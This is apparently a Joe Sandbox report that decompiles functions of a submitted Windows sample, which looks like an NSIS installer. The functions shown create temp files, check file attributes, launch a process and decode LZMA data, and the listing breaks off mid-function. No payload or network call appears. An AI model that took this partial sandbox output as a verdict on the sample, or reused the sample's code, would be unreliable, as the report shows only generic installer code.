Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$\
API String ID: 2200240437-500877883
Opcode ID: ab578b0f6e67864073cc7e0faf31571440b610376f19e1ac75bbbc29e234aff8
Instruction ID: 31df564d024cf24b7dbdd433d12669610400c14d1f093727c30223d65afe2acb
Opcode Fuzzy Hash: ab578b0f6e67864073cc7e0faf31571440b610376f19e1ac75bbbc29e234aff8
Instruction Fuzzy Hash: CBF02B309441095BDF14E764DC0DEFB375CEB08344F0445BBA54BE10D2FA78E8698B98

Uniqueness

Uniqueness Score: -1.00%

Function 00405A01 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405A01(char _a4, intOrPtr _a6, CHAR* _a8) {
				signed int _t11;
				int _t14;
				signed int _t16;
				void* _t19;
				CHAR* _t20;

				_t20 = _a4;
				_t19 = 0x64;
				while(1) {
					_t19 = _t19 - 1;
					_a4 = 0x61736e;
					_t11 = GetTickCount();
					_t16 = 0x1a;
					_a6 = _a6 + _t11 % _t16;
					_t14 = GetTempFileNameA(_a8,  &_a4, 0, _t20); // executed
					if(_t14 != 0) {
						break;
					}
					if(_t19 != 0) {
						continue;
					}
					 *_t20 =  *_t20 & 0x00000000;
					return _t14;
				}
				return _t20;
			}

0x00405a05
0x00405a0b
0x00405a0c
0x00405a0c
0x00405a0d
0x00405a14
0x00405a1e
0x00405a2b
0x00405a2e
0x00405a36
0x00000000
0x00000000
0x00405a3a
0x00000000
0x00000000
0x00405a3c
0x00000000
0x00405a3c
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00405A14
GetTempFileNameA.KERNELBASE(?,0061736E,00000000,?), ref: 00405A2E

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A04, 00405A08
"C:\Users\user\Desktop\qHpeBvr9cR.exe", xrefs: 00405A01
nsa, xrefs: 00405A0D

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\qHpeBvr9cR.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1677914319
Opcode ID: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction ID: 5b0006bac455ae629d1f86c67115003f625ce1c04593d449782858effb37a924
Opcode Fuzzy Hash: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction Fuzzy Hash: 81F020327082087BEB104E49EC44B9B7FADDFC5720F10C12BFA049A1C0C2B0A9488BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004058CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E004058CF(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				long _t16;
				intOrPtr _t18;
				intOrPtr* _t21;
				void* _t22;

				E00405CFB(0x421988, _a4);
				_t21 = E00405882(0x421988);
				if(_t21 != 0) {
					E00405F5D(_t21);
					if(( *0x423f98 & 0x00000080) == 0) {
						L5:
						_t22 = _t21 - 0x421988;
						while(1) {
							_t11 = lstrlenA(0x421988);
							_push(0x421988);
							if(_t11 <= _t22) {
								break;
							}
							_t12 = E00405FF6();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E00405835(0x421988);
								continue;
							} else {
								goto L1;
							}
						}
						E004057EE();
						_t16 = GetFileAttributesA(??); // executed
						return 0 | _t16 != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}

0x004058db
0x004058e6
0x004058ea
0x004058f1
0x004058fd
0x00405909
0x00405909
0x00405921
0x00405922
0x00405929
0x0040592a
0x00000000
0x00000000
0x0040590d
0x00405914
0x0040591c
0x00000000
0x00000000
0x00000000
0x00000000
0x00405914
0x0040592c
0x00405932
0x00000000
0x00405940
0x004058ff
0x00405903
0x00000000
0x00000000
0x00000000
0x00000000
0x00405903
0x004058ec
0x00000000

APIs

Part of subcall function 00405CFB: lstrcpynA.KERNEL32(?,?,00000400,004032FF,00423780,NSIS Error), ref: 00405D08

Part of subcall function 00405882: CharNextA.USER32(4V@,?,C:\,00000000,004058E6,C:\,C:\,?,?,766DF560,00405634,?,C:\Users\user\AppData\Local\Temp\,766DF560), ref: 00405890
Part of subcall function 00405882: CharNextA.USER32(00000000), ref: 00405895
Part of subcall function 00405882: CharNextA.USER32(00000000), ref: 004058A4

lstrlenA.KERNEL32(C:\,00000000,C:\,C:\,?,?,766DF560,00405634,?,C:\Users\user\AppData\Local\Temp\,766DF560), ref: 00405922
GetFileAttributesA.KERNELBASE(C:\,C:\,C:\,C:\,C:\,C:\,00000000,C:\,C:\,?,?,766DF560,00405634,?,C:\Users\user\AppData\Local\Temp\,766DF560), ref: 00405932

Strings

C:\, xrefs: 004058D5, 004058DA, 004058E0, 0040591B, 00405921, 00405929, 00405931

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\
API String ID: 3248276644-3404278061
Opcode ID: e2955dcf029725b2ed1d5fce7c573bfe7ab26ede656e04fe1650c1d49aac5c3f
Instruction ID: 03f6043ec37f77008ca106ed659fbfe74b4750b5f08ac9da600103de26cb934a
Opcode Fuzzy Hash: e2955dcf029725b2ed1d5fce7c573bfe7ab26ede656e04fe1650c1d49aac5c3f
Instruction Fuzzy Hash: 94F02822509E116AC222333A1C09A9F0A19CE86338714453BFC51B22D2DB3C8D53ED7E

Uniqueness

Uniqueness Score: -1.00%

Function 0040555B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040555B(CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x422588->cb = 0x44;
				_t7 = CreateProcessA(0, _a4, 0, 0, 0, 0, 0, 0, 0x422588,  &_v20); // executed
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x00405564
0x00405580
0x00405588
0x0040558d
0x00000000
0x00405593
0x00405597

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00422588,Error launching installer), ref: 00405580
CloseHandle.KERNEL32(?), ref: 0040558D

Strings

Error launching installer, xrefs: 0040556E

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6ee0d5fb62aa5cd444cc046de2ae5613a3aa22ad20399a78c34ba76405e5be99
Instruction ID: b38bf566800866b301abd826c958dc9a0f2413a88be004d39ffa53c3aefd5702
Opcode Fuzzy Hash: 6ee0d5fb62aa5cd444cc046de2ae5613a3aa22ad20399a78c34ba76405e5be99
Instruction Fuzzy Hash: 29E0ECB4A0020ABBDB109F64ED09A6B7BBDFB14345F808921A914E2150E7B8D9549A69

Uniqueness

Uniqueness Score: -1.00%

Function 00406768 Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 99%

			E00406768() {
				signed int _t530;
				void _t537;
				signed int _t538;
				signed int _t539;
				unsigned short _t569;
				signed int _t579;
				signed int _t607;
				void* _t627;
				signed int _t628;
				signed int _t635;
				signed int* _t643;
				void* _t644;

				L0:
				while(1) {
					L0:
					_t530 =  *(_t644 - 0x30);
					if(_t530 >= 4) {
					}
					 *(_t644 - 0x40) = 6;
					 *(_t644 - 0x7c) = 0x19;
					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
					while(1) {
						L145:
						 *(_t644 - 0x50) = 1;
						 *(_t644 - 0x48) =  *(_t644 - 0x40);
						while(1) {
							L149:
							if( *(_t644 - 0x48) <= 0) {
								goto L155;
							}
							L150:
							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
							 *(_t644 - 0x54) = _t643;
							_t569 =  *_t643;
							_t635 = _t569 & 0x0000ffff;
							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
							if( *(_t644 - 0xc) >= _t607) {
								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
								_t628 = _t627 + 1;
								 *_t643 = _t569 - (_t569 >> 5);
								 *(_t644 - 0x50) = _t628;
							} else {
								 *(_t644 - 0x10) = _t607;
								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
								 *_t643 = (0x800 - _t635 >> 5) + _t569;
							}
							if( *(_t644 - 0x10) >= 0x1000000) {
								L148:
								_t487 = _t644 - 0x48;
								 *_t487 =  *(_t644 - 0x48) - 1;
								L149:
								if( *(_t644 - 0x48) <= 0) {
									goto L155;
								}
								goto L150;
							} else {
								L154:
								L146:
								if( *(_t644 - 0x6c) == 0) {
									L169:
									 *(_t644 - 0x88) = 0x18;
									L170:
									_t579 = 0x22;
									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
									_t539 = 0;
									L172:
									return _t539;
								}
								L147:
								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
								_t484 = _t644 - 0x70;
								 *_t484 =  &(( *(_t644 - 0x70))[1]);
								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
								goto L148;
							}
							L155:
							_t537 =  *(_t644 - 0x7c);
							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
							while(1) {
								L140:
								 *(_t644 - 0x88) = _t537;
								while(1) {
									L1:
									_t538 =  *(_t644 - 0x88);
									if(_t538 > 0x1c) {
										break;
									}
									L2:
									switch( *((intOrPtr*)(_t538 * 4 +  &M00406BD6))) {
										case 0:
											L3:
											if( *(_t644 - 0x6c) == 0) {
												goto L170;
											}
											L4:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t538 =  *( *(_t644 - 0x70));
											if(_t538 > 0xe1) {
												goto L171;
											}
											L5:
											_t542 = _t538 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t581);
											_push(9);
											_pop(_t582);
											_t638 = _t542 / _t581;
											_t544 = _t542 % _t581 & 0x000000ff;
											asm("cdq");
											_t633 = _t544 % _t582 & 0x000000ff;
											 *(_t644 - 0x3c) = _t633;
											 *(_t644 - 0x1c) = (1 << _t638) - 1;
											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
											_t641 = (0x300 << _t633 + _t638) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
												L10:
												if(_t641 == 0) {
													L12:
													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t641 = _t641 - 1;
													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
												} while (_t641 != 0);
												goto L12;
											}
											L6:
											if( *(_t644 - 4) != 0) {
												GlobalFree( *(_t644 - 4));
											}
											_t538 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t644 - 4) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L157:
												 *(_t644 - 0x88) = 1;
												goto L170;
											}
											L14:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t45 = _t644 - 0x48;
											 *_t45 =  *(_t644 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t644 - 0x48) < 4) {
												goto L13;
											}
											L16:
											_t550 =  *(_t644 - 0x40);
											if(_t550 ==  *(_t644 - 0x74)) {
												L20:
												 *(_t644 - 0x48) = 5;
												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											L17:
											 *(_t644 - 0x74) = _t550;
											if( *(_t644 - 8) != 0) {
												GlobalFree( *(_t644 - 8));
											}
											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
											 *(_t644 - 8) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
											 *(_t644 - 0x84) = 6;
											 *(_t644 - 0x4c) = _t557;
											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L158:
												 *(_t644 - 0x88) = 3;
												goto L170;
											}
											L22:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											_t67 = _t644 - 0x70;
											 *_t67 =  &(( *(_t644 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L23:
											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
											if( *(_t644 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t559 =  *_t642;
											_t626 = _t559 & 0x0000ffff;
											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
											if( *(_t644 - 0xc) >= _t596) {
												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
												 *(_t644 - 0x40) = 1;
												_t560 = _t559 - (_t559 >> 5);
												__eflags = _t560;
												 *_t642 = _t560;
											} else {
												 *(_t644 - 0x10) = _t596;
												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
												 *_t642 = (0x800 - _t626 >> 5) + _t559;
											}
											if( *(_t644 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t644 - 0x6c) == 0) {
												L168:
												 *(_t644 - 0x88) = 5;
												goto L170;
											}
											L138:
											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L139:
											_t537 =  *(_t644 - 0x84);
											L140:
											 *(_t644 - 0x88) = _t537;
											goto L1;
										case 6:
											L25:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L36:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L26:
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												L35:
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												L32:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											L66:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												L68:
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											L67:
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											L70:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											L73:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											L74:
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											L75:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											L82:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L84:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L83:
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											L85:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L164:
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											L100:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L159:
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											L38:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											L40:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												L45:
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L160:
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											L47:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
